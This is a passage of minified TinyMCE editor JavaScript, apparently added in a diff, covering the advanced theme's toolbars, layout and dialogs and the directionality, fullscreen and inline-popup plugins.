s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(j){var i=this.editor,k=i.controlManager.get("styleselect");if(k.getLength()==0){f(i.dom.getClasses(),function(l){k.add(l["class"],l["class"])})}},_createStyleSelect:function(m){var j=this,i=j.editor,k=i.controlManager,l=k.createListBox("styleselect",{title:"advanced.style_select",onselect:function(n){if(l.selectedValue===n){i.execCommand("mceSetStyleInfo",0,{command:"removeformat"});l.select();return false}else{i.execCommand("mceSetCSSClass",0,n)}}});if(l){f(i.getParam("theme_advanced_styles","","hash"),function(o,n){if(o){l.add(j.editor.translate(n),o)}});l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",j._importClasses,j);b.add(p.id+"_text","mousedown",j._importClasses,j);b.add(p.id+"_open","focus",j._importClasses,j);b.add(p.id+"_open","mousedown",j._importClasses,j)}else{b.add(p.id,"focus",j._importClasses,j)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",cmd:"FontName"});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){if(i.fontSize){k.execCommand("FontSize",false,i.fontSize)}else{f(m.settings.theme_advanced_font_sizes,function(p,o){if(p["class"]){j.push(p["class"])}});k.editorCommands._applyInlineStyle("span",{"class":i["class"]},{check_classes:j})}}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",cmd:"FormatBlock"});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;m=j=d.create("span",{id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=d.stdMode?u.getElementsByTagName("tr"):u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},"<!-- IE -->"),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_tbl");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,l){var j=this.editor,k=j.settings,n=d.get(j.id+"_tbl"),o=d.get(j.id+"_ifr"),m;i=Math.max(k.theme_advanced_resizing_min_width||100,i);l=Math.max(k.theme_advanced_resizing_min_height||100,l);i=Math.min(k.theme_advanced_resizing_max_width||65535,i);l=Math.min(k.theme_advanced_resizing_max_height||65535,l);m=n.clientHeight-o.clientHeight;d.setStyle(o,"height",l-m);d.setStyles(n,{width:i,height:l})},destroy:function(){var i=this.editor.id;b.clear(i+"_resize");b.clear(i+"_path_row");b.clear(i+"_external_close")},_simpleLayout:function(y,r,k,i){var x=this,u=x.editor,v=y.theme_advanced_toolbar_location,m=y.theme_advanced_statusbar_location,l,j,q,w;if(y.readonly){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});return j}if(v=="top"){x._addToolbars(r,k)}if(v=="external"){l=w=d.create("div",{style:"position:relative"});l=d.add(l,"div",{id:u.id+"_external","class":"mceExternalToolbar"});d.add(l,"a",{id:u.id+"_external_close",href:"javascript:;","class":"mceExternalClose"});l=d.add(l,"table",{id:u.id+"_tblext",cellSpacing:0,cellPadding:0});q=d.add(l,"tbody");if(i.firstChild.className=="mceOldBoxModel"){i.firstChild.appendChild(w)}else{i.insertBefore(w,i.firstChild)}x._addToolbars(q,k);u.onMouseUp.add(function(){var o=d.get(u.id+"_external");d.show(o);d.hide(g);var n=b.add(u.id+"_external_close","click",function(){d.hide(u.id+"_external");b.remove(u.id+"_external_close","click",n)});d.show(o);d.setStyle(o,"top",0-d.getRect(u.id+"_tblext").h-1);d.hide(o);d.show(o);o.style.filter="";g=u.id+"_external";o=null})}if(m=="top"){x._addStatusBar(r,k)}if(!y.theme_advanced_toolbar_container){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"})}if(v=="bottom"){x._addToolbars(r,k)}if(m=="bottom"){x._addStatusBar(r,k)}return j},_rowLayout:function(w,m,k){var v=this,p=v.editor,u,x,i=p.controlManager,l,j,r,q;u=w.theme_advanced_containers_default_class||"";x=w.theme_advanced_containers_default_align||"center";f(c(w.theme_advanced_containers||""),function(s,o){var n=w["theme_advanced_container_"+s]||"";switch(n.toLowerCase()){case"mceeditor":l=d.add(m,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});break;case"mceelementpath":v._addStatusBar(m,k);break;default:q=(w["theme_advanced_container_"+s+"_align"]||x).toLowerCase();q="mce"+v._ufirst(q);l=d.add(d.add(m,"tr"),"td",{"class":"mceToolbar "+(w["theme_advanced_container_"+s+"_class"]||u)+" "+q||x});r=i.createToolbar("toolbar"+o);v._addControls(n,r);d.setHTML(l,r.renderHTML());k.deltaHeight-=w.theme_advanced_row_height}});return j},_addControls:function(j,i){var k=this,l=k.settings,m,n=k.editor.controlManager;if(l.theme_advanced_disable&&!k._disabled){m={};f(c(l.theme_advanced_disable),function(o){m[o]=1});k._disabled=m}else{m=k._disabled}f(c(j),function(p){var o;if(m&&m[p]){return}if(p=="tablecontrols"){f(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"],function(q){q=k.createControl(q,n);if(q){i.add(q)}});return}o=k.createControl(p,n);if(o){i.add(o)}})},_addToolbars:function(w,k){var z=this,p,m,r=z.editor,A=z.settings,y,j=r.controlManager,u,l,q=[],x;x=A.theme_advanced_toolbar_align.toLowerCase();x="mce"+z._ufirst(x);l=d.add(d.add(w,"tr"),"td",{"class":"mceToolbar "+x});if(!r.getParam("accessibility_focus")){q.push(d.createHTML("a",{href:"#",onfocus:"tinyMCE.get('"+r.id+"').focus();"},"<!-- IE -->"))}q.push(d.createHTML("a",{href:"#",accesskey:"q",title:r.getLang("advanced.toolbar_focus")},"<!-- IE -->"));for(p=1;(y=A["theme_advanced_buttons"+p]);p++){m=j.createToolbar("toolbar"+p,{"class":"mceToolbarRow"+p});if(A["theme_advanced_buttons"+p+"_add"]){y+=","+A["theme_advanced_buttons"+p+"_add"]}if(A["theme_advanced_buttons"+p+"_add_before"]){y=A["theme_advanced_buttons"+p+"_add_before"]+","+y}z._addControls(y,m);q.push(m.renderHTML());k.deltaHeight-=A.theme_advanced_row_height}q.push(d.createHTML("a",{href:"#",accesskey:"z",title:r.getLang("advanced.toolbar_focus"),onfocus:"tinyMCE.getInstanceById('"+r.id+"').focus();"},"<!-- IE -->"));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row"},w.theme_advanced_path?p.translate("advanced.path")+": ":"&#160;");d.add(k,"a",{href:"#",accesskey:"x"});if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}if(w.theme_advanced_resize_horizontal){r.style.width=Math.max(10,n.cw)+"px"}r.style.height=Math.max(10,n.ch)+"px";d.get(p.id+"_ifr").style.height=Math.max(10,parseInt(n.ch)+v.deltaHeight)+"px"})}p.onPostRender.add(function(){b.add(p.id+"_resize","mousedown",function(x){var z,t,o,s,y,r;z=d.get(p.id+"_tbl");o=z.clientWidth;s=z.clientHeight;miw=w.theme_advanced_resizing_min_width||100;mih=w.theme_advanced_resizing_min_height||100;maw=w.theme_advanced_resizing_max_width||65535;mah=w.theme_advanced_resizing_max_height||65535;t=d.add(d.get(p.id+"_parent"),"div",{"class":"mcePlaceHolder"});d.setStyles(t,{width:o,height:s});d.hide(z);d.show(t);i={x:x.screenX,y:x.screenY,w:o,h:s,dx:null,dy:null};q=b.add(d.doc,"mousemove",function(B){var n,A;i.dx=B.screenX-i.x;i.dy=B.screenY-i.y;n=Math.max(miw,i.w+i.dx);A=Math.max(mih,i.h+i.dy);n=Math.min(maw,n);A=Math.min(mah,A);if(w.theme_advanced_resize_horizontal){t.style.width=n+"px"}t.style.height=A+"px";return b.cancel(B)});u=b.add(d.doc,"mouseup",function(n){var A;b.remove(d.doc,"mousemove",q);b.remove(d.doc,"mouseup",u);z.style.display="";d.remove(t);if(i.dx===null){return}A=d.get(p.id+"_ifr");if(w.theme_advanced_resize_horizontal){z.style.width=Math.max(10,i.w+i.dx)+"px"}z.style.height=Math.max(10,i.h+i.dy)+"px";A.style.height=Math.max(10,A.clientHeight+i.dy)+"px";if(w.theme_advanced_resizing_use_cookie){a.setHash("TinyMCE_"+p.id+"_size",{cw:i.w+i.dx,ch:i.h+i.dy})}});return b.cancel(x)})})}j.deltaHeight-=21;k=m=null},_nodeChanged:function(l,u,k,q){var y=this,i,r=0,x,m,z=y.settings,w,j,o;if(z.readonly){return}e.each(y.stateControls,function(n){u.setActive(n,l.queryCommandState(y.controls[n][1]))});u.setActive("visualaid",l.hasVisual);u.setDisabled("undo",!l.undoManager.hasUndo()&&!l.typing);u.setDisabled("redo",!l.undoManager.hasRedo());u.setDisabled("outdent",!l.queryCommandState("Outdent"));i=d.getParent(k,"A");if(m=u.get("link")){if(!i||!i.name){m.setDisabled(!i&&q);m.setActive(!!i)}}if(m=u.get("unlink")){m.setDisabled(!i&&q);m.setActive(!!i&&!i.name)}if(m=u.get("anchor")){m.setActive(!!i&&i.name);if(e.isWebKit){i=d.getParent(k,"IMG");m.setActive(!!i&&d.getAttrib(i,"mce_name")=="a")}}i=d.getParent(k,"IMG");if(m=u.get("image")){m.setActive(!!i&&k.className.indexOf("mceItem")==-1)}if(m=u.get("styleselect")){if(k.className){y._importClasses();m.select(k.className)}else{m.select()}}if(m=u.get("formatselect")){i=d.getParent(k,d.isBlock);if(i){m.select(i.nodeName.toLowerCase())}}if(l.settings.convert_fonts_to_spans){l.dom.getParent(k,function(p){if(p.nodeName==="SPAN"){if(!w&&p.className){w=p.className}if(!j&&p.style.fontSize){j=p.style.fontSize}if(!o&&p.style.fontFamily){o=p.style.fontFamily.replace(/[\"\']+/g,"").replace(/^([^,]+).*/,"$1").toLowerCase()}}return false});if(m=u.get("fontselect")){m.select(function(n){return n.replace(/^([^,]+).*/,"$1").toLowerCase()==o})}if(m=u.get("fontsizeselect")){m.select(function(n){if(n.fontSize&&n.fontSize===j){return true}if(n["class"]&&n["class"]===w){return true}})}}else{if(m=u.get("fontselect")){m.select(l.queryCommandValue("FontName"))}if(m=u.get("fontsizeselect")){x=l.queryCommandValue("FontSize");m.select(function(n){return n.fontSize==x})}}if(z.theme_advanced_path&&z.theme_advanced_statusbar_location){i=d.get(l.id+"_path")||d.add(l.id+"_path_row","span",{id:l.id+"_path"});d.setHTML(i,"");l.dom.getParent(k,function(A){var p=A.nodeName.toLowerCase(),s,v,t="";if(A.nodeType!=1||A.nodeName==="BR"||(d.hasClass(A,"mceItemHidden")||d.hasClass(A,"mceItemRemoved"))){return}if(x=d.getAttrib(A,"mce_name")){p=x}if(e.isIE&&A.scopeName!=="HTML"){p=A.scopeName+":"+p}p=p.replace(/mce\:/g,"");switch(p){case"b":p="strong";break;case"i":p="em";break;case"img":if(x=d.getAttrib(A,"src")){t+="src: "+x+" "}break;case"a":if(x=d.getAttrib(A,"name")){t+="name: "+x+" ";p+="#"+x}if(x=d.getAttrib(A,"href")){t+="href: "+x+" "}break;case"font":if(z.convert_fonts_to_spans){p="span"}if(x=d.getAttrib(A,"face")){t+="font: "+x+" "}if(x=d.getAttrib(A,"size")){t+="size: "+x+" "}if(x=d.getAttrib(A,"color")){t+="color: "+x+" "}break;case"span":if(x=d.getAttrib(A,"style")){t+="style: "+x+" "}break}if(x=d.getAttrib(A,"id")){t+="id: "+x+" "}if(x=A.className){x=x.replace(/(webkit-[\w\-]+|Apple-[\w\-]+|mceItem\w+|mceVisualAid)/g,"");if(x&&x.indexOf("mceItem")==-1){t+="class: "+x+" ";if(d.isBlock(A)||p=="img"||p=="span"){p+="."+x}}}p=p.replace(/(html:)/g,"");p={name:p,node:A,title:t};y.onResolveName.dispatch(y,p);t=p.title;p=p.name;v=d.create("a",{href:"javascript:;",onmousedown:"return false;",title:t,"class":"mcePath_"+(r++)},p);if(i.hasChildNodes()){i.insertBefore(d.doc.createTextNode(" \u00bb "),i.firstChild);i.insertBefore(v,i.firstChild)}else{i.appendChild(v)}},l.getBody())}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:250+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:e.baseURL+"/themes/advanced/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:e.baseURL+"/themes/advanced/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce));
+// plugins/directionality
+(function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})();
+// plugins/fullscreen
+(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(c,d){var e=this,f={},b;e.editor=c;c.addCommand("mceFullScreen",function(){var h,i=a.doc.documentElement;if(c.getParam("fullscreen_is_enabled")){if(c.getParam("fullscreen_new_window")){closeFullscreen()}else{a.win.setTimeout(function(){tinymce.dom.Event.remove(a.win,"resize",e.resizeFunc);tinyMCE.get(c.getParam("fullscreen_editor_id")).setContent(c.getContent({format:"raw"}),{format:"raw"});tinyMCE.remove(c);a.remove("mce_fullscreen_container");i.style.overflow=c.getParam("fullscreen_html_overflow");a.setStyle(a.doc.body,"overflow",c.getParam("fullscreen_overflow"));a.win.scrollTo(c.getParam("fullscreen_scrollx"),c.getParam("fullscreen_scrolly"));tinyMCE.settings=tinyMCE.oldSettings},10)}return}if(c.getParam("fullscreen_new_window")){h=a.win.open(d+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{h.resizeTo(screen.availWidth,screen.availHeight)}catch(g){}}else{tinyMCE.oldSettings=tinyMCE.settings;f.fullscreen_overflow=a.getStyle(a.doc.body,"overflow",1)||"auto";f.fullscreen_html_overflow=a.getStyle(i,"overflow",1);b=a.getViewPort();f.fullscreen_scrollx=b.x;f.fullscreen_scrolly=b.y;if(tinymce.isOpera&&f.fullscreen_overflow=="visible"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&f.fullscreen_overflow=="scroll"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&(f.fullscreen_html_overflow=="visible"||f.fullscreen_html_overflow=="scroll")){f.fullscreen_html_overflow="auto"}if(f.fullscreen_overflow=="0px"){f.fullscreen_overflow=""}a.setStyle(a.doc.body,"overflow","hidden");i.style.overflow="hidden";b=a.getViewPort();a.win.scrollTo(0,0);if(tinymce.isIE){b.h-=1}n=a.add(a.doc.body,"div",{id:"mce_fullscreen_container",style:"position:"+(tinymce.isIE6||(tinymce.isIE&&!a.boxModel)?"absolute":"fixed")+";top:0;left:0;width:"+b.w+"px;height:"+b.h+"px;z-index:200000;"});a.add(n,"div",{id:"mce_fullscreen"});tinymce.each(c.settings,function(j,k){f[k]=j});f.id="mce_fullscreen";f.width=n.clientWidth;f.height=n.clientHeight-15;f.fullscreen_is_enabled=true;f.fullscreen_editor_id=c.id;f.theme_advanced_resizing=false;f.save_onsavecallback=function(){c.setContent(tinyMCE.get(f.id).getContent({format:"raw"}),{format:"raw"});c.execCommand("mceSave")};tinymce.each(c.getParam("fullscreen_settings"),function(l,j){f[j]=l});if(f.theme_advanced_toolbar_location==="external"){f.theme_advanced_toolbar_location="top"}e.fullscreenEditor=new tinymce.Editor("mce_fullscreen",f);e.fullscreenEditor.onInit.add(function(){e.fullscreenEditor.setContent(c.getContent());e.fullscreenEditor.focus()});e.fullscreenEditor.render();tinyMCE.add(e.fullscreenEditor);e.fullscreenElement=new tinymce.dom.Element("mce_fullscreen_container");e.fullscreenElement.update();e.resizeFunc=tinymce.dom.Event.add(a.win,"resize",function(){var j=tinymce.DOM.getViewPort();e.fullscreenEditor.theme.resizeTo(j.w,j.h)})}});c.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"});c.onNodeChange.add(function(h,g){g.setActive("fullscreen",h.getParam("fullscreen_is_enabled"))})},getInfo:function(){return{longname:"Fullscreen",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)})();
+// plugins/inlinepopups
+(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(r,j){var y=this,i,k="",q=y.editor,g=0,s=0,h,m,n,o,l,v,x;r=r||{};j=j||{};if(!r.inline){return y.parent(r,j)}if(!r.type){y.bookmark=q.selection.getBookmark("simple")}i=d.uniqueId();h=d.getViewPort();r.width=parseInt(r.width||320);r.height=parseInt(r.height||240)+(tinymce.isIE?8:0);r.min_width=parseInt(r.min_width||150);r.min_height=parseInt(r.min_height||100);r.max_width=parseInt(r.max_width||2000);r.max_height=parseInt(r.max_height||2000);r.left=r.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(r.width/2)));r.top=r.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(r.height/2)));r.movable=r.resizable=true;j.mce_width=r.width;j.mce_height=r.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=r.auto_focus;y.features=r;y.params=j;y.onOpen.dispatch(y,r,j);if(r.type){k+=" mceModal";if(r.type){k+=" mce"+r.type.substring(0,1).toUpperCase()+r.type.substring(1)}r.resizable=false}if(r.statusbar){k+=" mceStatusbar"}if(r.resizable){k+=" mceResizable"}if(r.minimizable){k+=" mceMinimizable"}if(r.maximizable){k+=" mceMaximizable"}if(r.movable){k+=" mceMovable"}y._addAll(d.doc.body,["div",{id:i,"class":q.settings.inlinepopups_skin||"clearlooks2",style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},r.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!r.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;s+=d.get(i+"_top").clientHeight;s+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:r.top,left:r.left,width:r.width+g,height:r.height+s});x=r.url||r.file;if(x){if(tinymce.relaxedDomain){x+=(x.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}x=tinymce._addVer(x)}if(!r.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:r.width,height:r.height});d.setAttrib(i+"_ifr","src",x)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(r.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return 